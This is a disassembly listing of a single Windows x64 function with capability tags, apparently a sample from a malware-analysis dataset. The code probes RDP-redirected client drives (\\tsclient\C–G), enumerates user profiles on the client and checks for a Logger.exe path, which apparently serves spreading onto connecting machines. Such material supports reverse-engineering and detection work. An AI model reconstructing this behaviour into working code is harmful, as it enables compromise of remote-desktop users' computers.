Function at 0x180014920
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
mov rax, rsp
push rbp
push rbx
lea rbp, [rax - 0x458]
sub rsp, 0x548
mov qword [rax - 0x18], rsi
mov qword [rax - 0x20], rdi
mov edi, dword [rcx]
mov qword [rax - 0x28], r12
xor r12d, r12d
mov qword [rax - 0x30], r13
mov qword [rax - 0x38], r14
mov qword [rax - 0x40], r15
mov qword [rsp + 0x30], r12
mov dword [rbp + 0x468], r12d
mov dword [rbp + 0x470], r12d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rbp + 0x468]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x180014aad
mov rax, qword [0x180037a90]
test rax, rax
jne 0x1800149c3
mov rax, qword [0x180037a88]
test rax, rax
jne 0x1800149ac
lea rcx, str.wtsapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180037a88], rax
lea rdx, str.WTSQuerySessionInformationW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037a90], rax
lea rcx, [rbp + 0x470]
lea r9, [rsp + 0x30]
mov r8d, 8
mov qword [rsp + 0x20], rcx
xor ecx, ecx
or edx, 0xffffffff
call rax
test eax, eax
je 0x180014aad
mov rax, qword [rsp + 0x30]
cmp dword [rax], r12d
jne 0x180014aad
mov ebx, r12d
test edi, edi
jle 0x180014f9b
lea rcx, str._tsclientC
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014a20
shr eax, 4
and eax, 1
jne 0x180014b73
lea rcx, str._tsclientD
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014a3e
shr eax, 4
and eax, 1
jne 0x180014f73
lea rcx, str._tsclientE
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014a5c
shr eax, 4
and eax, 1
jne 0x180014f7d
lea rcx, str._tsclientF
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014a7a
shr eax, 4
and eax, 1
jne 0x180014f87
lea rcx, str._tsclientG
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014a98
shr eax, 4
and eax, 1
jne 0x180014f91
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jl 0x180014a02
mov eax, r12d
lea rdx, [0x18002d95c]
lea rcx, [rsp + 0x78]
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfW]
lea r9, str.C:UsersPublicDocumentsdesktop_.ini
lea r8, [rsp + 0x78]
lea rdx, str.MountDiskType
lea rcx, [0x18002d010]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov rbx, qword [rsp + 0x30]
mov r15, qword [rsp + 0x518]
mov r14, qword [rsp + 0x520]
mov r13, qword [rsp + 0x528]
mov r12, qword [rsp + 0x530]
mov rdi, qword [rsp + 0x538]
mov rsi, qword [rsp + 0x540]
test rbx, rbx
je 0x180014b67
mov rax, qword [0x180037a98]
test rax, rax
jne 0x180014b62
mov rax, qword [0x180037a88]
test rax, rax
jne 0x180014b4b
lea rcx, str.wtsapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x180037a88], rax
lea rdx, str.WTSFreeMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180037a98], rax
mov rcx, rbx
call rax
xor eax, eax
add rsp, 0x548
pop rbx
pop rbp
ret
cmp dword [0x1800362dc], r12d
mov eax, 1
mov dword [rbp + 0x460], eax
je 0x180014ab0
lea rax, str.public
lea rdx, [rbp - 0x40]
lea rcx, str._tsclientCUsers.
mov qword [rbp - 0x80], rax
lea rax, str.public_user
mov qword [rbp - 0x78], rax
lea rax, str.All_Users
mov qword [rbp - 0x70], rax
lea rax, str.default
mov qword [rbp - 0x68], rax
lea rax, str.defaultuser
mov qword [rbp - 0x60], rax
lea rax, str.default_user0
mov qword [rbp - 0x58], rax
lea rax, str.default_user
mov qword [rbp - 0x50], rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x180014c00
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
lea rdx, [0x18002d8b8]
lea rcx, [rbp - 0x14]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x180014f23
lea rdx, [0x18002d8bc]
lea rcx, [rbp - 0x14]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x180014f23
test byte [rbp - 0x40], 0x10
je 0x180014f18
lea rcx, [rbp + 0x210]
xor edx, edx
mov r8d, 0x1fe
call fcn.1800252b0
lea rdx, [rbp - 0x14]
lea rcx, [rbp + 0x210]
mov r8d, 0x1fe
call fcn.18002525c
mov ebx, r12d
lea rdi, [rbp - 0x80]
nop dword [rax]
mov rcx, qword [rdi]
lea rdx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x180014f18
inc ebx
add rdi, 8
cmp ebx, 7
jb 0x180014c70
cmp qword [0x180033c68], 0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov dword [rsp + 0x38], r12d
jne 0x180014cd7
mov ecx, 0x1994
call fcn.1800251fc
test rax, rax
je 0x180014cd0
mov dword [rax + 0x1990], r12d
mov qword [0x180033c68], rax
jmp 0x180014cd7
mov qword [0x180033c68], r12
lea rdx, [0x180036bcc]
lea rcx, [rsp + 0x38]
call fcn.18001c720
lea rcx, str._tsclient_
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, 2
mov ebx, eax
add ebx, ebx
call fcn.1800251fc
mov rdi, rax
test rax, rax
je 0x180014d10
mov word [rax], 0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.18002525c
lea r11d, [rbx + 2]
movsxd rcx, r11d
call fcn.1800251fc
mov dword [rsp + 0x58], r12d
mov rsi, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x180014d72
mov dword [rsp + 0x58], ebx
movsxd rbx, ebx
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
mov word [rax + rbx], 0
call fcn.18002525c
lea rdx, str._tsclient_
mov r8, rbx
mov rcx, rsi
call fcn.18002525c
test rdi, rdi
je 0x180014d7f
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x58]
mov rdx, rbx
lea r8d, [rax + rax]
call fcn.180005da0
lea rcx, [0x18002cd48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, dword [rsp + 0x58]
mov r14d, eax
lea ecx, [rbx + 2]
movsxd rcx, ecx
add r14d, r14d
call fcn.1800251fc
mov r13d, r12d
mov rdi, rax
test rax, rax
je 0x180014dd5
mov r13d, ebx
mov word [rbx + rax], 0
mov rsi, qword [rsp + 0x60]
mov r8, rbx
mov rcx, rax
mov rdx, rsi
call fcn.18002525c
add ebx, r14d
test rsi, rsi
je 0x180014df8
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
xor esi, esi
mov r12, rax
test rax, rax
je 0x180014e3c
movsxd rcx, ebx
mov esi, ebx
movsxd rbx, r13d
mov word [rcx + rax], 0
mov rcx, rax
mov r8, rbx
mov rdx, rdi
call fcn.18002525c
lea rcx, [r12 + rbx]
lea rdx, [0x18002cd48]
movsxd r8, r14d
call fcn.18002525c
test rdi, rdi
je 0x180014e49
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
lea rcx, str.Logger.exe
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rsi + 2]
mov r13d, eax
movsxd rcx, ecx
add r13d, r13d
call fcn.1800251fc
xor r14d, r14d
mov rdi, rax
test rax, rax
je 0x180014e7e
movsxd rcx, esi
mov r14d, esi
mov word [rcx + rax], 0
movsxd r8, esi
mov rdx, r12
mov rcx, rax
call fcn.18002525c
lea ebx, [r13 + rsi]
test r12, r12
je 0x180014e9e
mov rcx, r12
call sub.KERNEL32.dll_LocalFree
lea eax, [rbx + 2]
movsxd rcx, eax
call fcn.1800251fc
mov rsi, rax
test rax, rax
je 0x180014ede
movsxd rcx, ebx
movsxd rbx, r14d
mov rdx, rdi
mov word [rcx + rax], 0
mov rcx, rax
mov r8, rbx
call fcn.18002525c
lea rcx, [rsi + rbx]
lea rdx, str.Logger.exe
movsxd r8, r13d
call fcn.18002525c
test rdi, rdi
je 0x180014eeb
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180014f43
test rsi, rsi
je 0x180014f06
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x180014f15
call sub.KERNEL32.dll_LocalFree
xor r12d, r12d
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180014c00
mov eax, dword [rbp + 0x460]
jmp 0x180014ab0
lea rcx, [rbp - 0x14]
call fcn.180013e40
test rsi, rsi
je 0x180014f59
mov rcx, rsi
call sub.KERNEL32.dll_LocalFree
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x180014f68
call sub.KERNEL32.dll_LocalFree
mov eax, dword [rbp + 0x460]
jmp 0x180014ab0
mov eax, 2
jmp 0x180014ab0
mov eax, 3
jmp 0x180014ab0
mov eax, 4
jmp 0x180014ab0
mov eax, 5
jmp 0x180014ab0
mov eax, ebx
jmp 0x180014ab0